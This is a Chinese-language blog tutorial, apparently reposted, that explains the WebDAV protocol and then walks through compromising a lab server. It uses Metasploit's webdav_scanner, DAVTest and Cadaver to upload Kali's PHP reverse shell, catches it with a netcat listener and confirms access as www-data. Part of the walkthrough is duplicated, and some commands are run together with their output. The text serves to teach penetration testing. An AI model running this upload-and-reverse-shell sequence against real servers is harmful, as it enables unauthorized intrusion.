系统相关
首页 > 系统相关> > 利用WebDAV获取Shell

利用WebDAV获取Shell

作者:互联网

### 个人心得

WebDAV感觉是用在IIS 上的,nginx用不了。


### WebDAV
WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。

#### 定义
Microsoft windows2000、XP、Win7及IE, Office还有Adobe/MacroMedia的DW等都支持Webdav,这又大大增强了Web应用的价值,以及效能。对于需要大量发布内容的用户而言,应用WebDav可以降低对CMS系统的依赖,而且能够更自由的进行创作。上传、下载变得轻松自如。
Web 分布式创作和版本管理 (WebDAV) 扩展了 HTTP/1.1 协议,允许客户端发布、锁定和管理 Web 上的资源,与 IIS 集成后。

**WebDAV 允许客户端进行下列操作**  
处理服务器上 WebDAV 发布目录中的资源。使用此功能,其优点例如:
1.具有正确权限的用户可以在 WebDAV目录中复制和移动文件。
2.修改与某些资源相关联的属性。例如,用户可写入并检索文件的属性信息。
3.锁定并解锁资源以便多个用户可同时读取一个文件。但每次只能有一个人修改文件。
4.搜索 WebDAV 目录中的文件的内容和属性。
在服务器上设置 WebDAV 发布目录与通过 Internet 信息服务管理单元设置虚拟目录一样简单。设置好发布目录后,具有适当权限的用户就可以向服务器发布文档,并处理目录中的文件。在设置 WebDAV 目录之前,必须首先安装 Windows XP Professional。

**WebDAV 客户端**

可以通过下面列表中描述的任意一种 Microsoft 产品或通过其他任意的支持行业标准 WebDAV 协议的客户端来访问 WebDAV 发布目录。
·Windows XP 通过“添加网上邻居向导”与 WebDAV 服务器连接,并显示 WebDAV 目录中的内容,如同它是本地计算机上同一文件系统的组成部分。连接完成之后,就可以拖放文件、检索和修改文件属性以及执行许多其他文件系统任务。
·Internet Explorer 5.0 与 WebDAV 目录连接,使您可以执行通过 Windows XP 所能执行的文件系统任务。
·Office 2000 通过其中包含的任意应用程序创建、发布、编辑并直接将文档保存到 WebDAV 目录中。
·另外,某些第三方Windows程序可连接到WebDAV 服务器,显示WebDAV 目录内容,对其文件进行重命名、删除、上传及下载操作。
·某些Android应用程序可实现在Android 客户端访问WebDAV 服务。

**在 WebDAV 中搜索**

一旦与 WebDAV 目录建立连接,就可以快速搜索此目录中文件的内容和属性。例如,可以搜索包含
table 一词的所有文件或所有由 Fred 编写的文件。


### WebDAV使用

#### 一、检查目标是否启用了WebDAV
我们需要做的第一件事是检查是否在目标上启用了WebDAV。Metasploit有一个我们可以使用的扫描仪,因此可以通过在终端中键入msfconsole来启动它。然后,我们可以使用搜索命令找到该模块:
![2020-12-30T01:41:10.png][1]
我们需要webdav_scanner模块,因此请使用use命令加载它:
```
msf5 > use auxiliary/scanner/http/webdav_scanner
```
现在,我们来看看该模块的选项:
![2020-12-30T01:41:32.png][2]


![2020-12-30T01:42:02.png][3]


本帖最后由 月er 于 2020-2-15 18:55 编辑


互联网无疑改变了我们的工作和交流方式。随着技术的进步,越来越多的人可以在世界的任何地方通过web进行协助工作。这种对远程友好的环境固有地带来了安全风险,并且黑客一直在寻找方法来将系统用于其他用途。

WebDAV或Web分布式创作和版本控制是一种协议,允许用户远程协作和编辑Web上的内容。他是HTTP的扩展,但使用其自身独特的功能来增强标准的HTTP方法和标头。

该协议主要用于远程编辑和协作,但也可以用于传输文件。默认情况下,它通常在端口80上运行,有时在端口443上运行以进行加密通信。尽管WebDAV为用户提供了从任何地方访问Web内容的能力和便利性,但是如果配置不正确,则相同的远程功能可能会带来巨大的安全漏洞。

一、检查目标是否启用了WebDAV

我们需要做的第一件事是检查是否在目标上启用了WebDAV。Metasploit有一个我们可以使用的扫描仪,因此可以通过在终端中键入msfconsole来启动它。然后,我们可以使用搜索命令找到该模块:

我们需要webdav_scanner模块,因此请使用use命令加载它:
```
msf5 > use auxiliary/scanner/http/webdav_scanner
```
现在,我们来看看该模块的选项:

现在,我们要将路径设置为/ dav /,这是WebDAV常用的目录:
```
msf5 auxiliary(scanner/http/webdav_scanner) > set path /dav/path => /dav/
```
接下来,我们可以将rhosts设置为目标的IP地址:
```
msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 10.10.0.50rhosts => 10.10.0.50
```
我们应该很好,所以键入run启动模块:

![2020-12-30T01:42:31.png][4]

扫描程序将返回一些HTTP信息,包括Apache版本号以及是否启用WebDAV。正如我们在上面看到的,它确实已在我们的目标上启用。

#### 二、使用DAVTest测试文件权限

我们要做的下一件事是测试服务器上的权限和文件执行策略。请记住,这里我们的最终目标是获得一个反向shell,因此我们需要知道我们要步入正轨。
DAVTest是一个方便的工具,可以自动为我们测试这些东西。只需在终端中键入davtest即可查看帮助和用法示例:

![2020-12-30T01:43:11.png][5]

在最基本的级别上,我们要做的就是为它提供指向WebDAV实例的有效URL。自然,请使用-url开关,后跟正确的URL。

在这里,我们可以看到该工具的神奇之处。首先从测试连接开始,然后尝试创建测试目录,我们认为这是成功的。接下来,DAVTest将发送各种不同类型的文件,以确定可以上传的文件。看来所有这些都成功了。


![2020-12-30T01:43:33.png][6]

在上面输出的末尾,我们看到了一些好东西:测试文件执行。我们可以看到它们大多数都失败了,但是TXT,HTML以及对我们来说最重要的PHP文件都将成功执行。我们现在需要做的就是找到一种上载Shell的方法。

#### 三、使用Cadaver上载shell

在攻击的最后阶段,我们将使用一个名为Cadaver的工具,该工具提供了一个与WebDAV服务进行交互的直观界面—使用类似于FTP的简单易用的命令。

我们可以通过在终端中输入cadaver -h来查看帮助和使用信息:

![2020-12-30T01:44:32.png][7]

在跳转到上载Shell之前,让我们使用无害的文本文件对其进行测试。首先,创建一个简单的文本文件:
```
root@drd:~# echo 'TESTING' > test.txt
```
接下来,我们可以通过提供适当的URL通过Cadaver连接到WebDAV:
```
~# cadaver http://10.10.0.50/davdav:/dav/>
```
要获取可用命令的列表,请键入?或在提示时提供帮助:

![2020-12-30T01:46:35.png][8]

我们可以使用put命令上传测试文件:
![2020-12-30T01:46:51.png][9]

现在,如果我们在浏览器中导航到它,我们应该看到显示给我们的文本:

![2020-12-30T01:47:13.png][10]

由于我们现在有信心可以进行上传,因此我们现在可以退出 Cadaver,以便准备好外壳程序:
   ```
dav:/dav/> quitConnection to `10.10.0.50' closed.
```
Kali在/ usr / share / webshel??ls /目录中包含各种shell 。我们需要PHP反向shell,因此请使用以下命令将其复制到当前目录:
```
~# cp /usr/share/webshells/php/php-reverse-shell.php .
```
接下来,我们需要编辑一些内容,因此使用您喜欢的文本编辑器打开文件,并将IP地址更改为我们本地计算机的IP地址,并将端口更改为您选择的端口:

![2020-12-30T01:47:44.png][11]

保存文件,并使用netcat设置侦听器以捕获传入的连接:
```
~# nc -lvnp 7777listening on [any] 7777 ...
```
在新窗口或选项卡中,再次连接到WebDAV并上载我们的shell,就像我们之前对测试文件所做的一样:


![2020-12-30T01:48:49.png][12]

现在浏览到该文件,如果成功,我们应该看到浏览器挂起:

![2020-12-30T01:49:11.png][13]

回到我们的侦听器,我们应该看到目标打开了一个连接:

![2020-12-30T01:49:31.png][14]

现在,我们可以发出诸如whoami之类的命令来确认我们已危害服务器:

sh-3.2$ whoamiwww-data


  [1]: http://blog.ayla1688.cool/usr/uploads/2020/12/42592750.png
  [2]: http://blog.ayla1688.cool/usr/uploads/2020/12/3324247398.png
  [3]: http://blog.ayla1688.cool/usr/uploads/2020/12/1015418538.png
  [4]: http://blog.ayla1688.cool/usr/uploads/2020/12/946184055.png
  [5]: http://blog.ayla1688.cool/usr/uploads/2020/12/97929055.png
  [6]: http://blog.ayla1688.cool/usr/uploads/2020/12/285037748.png
  [7]: http://blog.ayla1688.cool/usr/uploads/2020/12/3507843945.png
  [8]: http://blog.ayla1688.cool/usr/uploads/2020/12/1702681124.png
  [9]: http://blog.ayla1688.cool/usr/uploads/2020/12/2526095365.png
  [10]: http://blog.ayla1688.cool/usr/uploads/2020/12/3976977413.png
  [11]: http://blog.ayla1688.cool/usr/uploads/2020/12/812276921.png
  [12]: http://blog.ayla1688.cool/usr/uploads/2020/12/222376397.png
  [13]: http://blog.ayla1688.cool/usr/uploads/2020/12/558813123.png
  [14]: http://blog.ayla1688.cool/usr/uploads/2020/12/1626780574.png

标签:12,http,WebDAV,获取,Shell,2020,usr,png
来源: https://blog.csdn.net/qq_21761149/article/details/111942336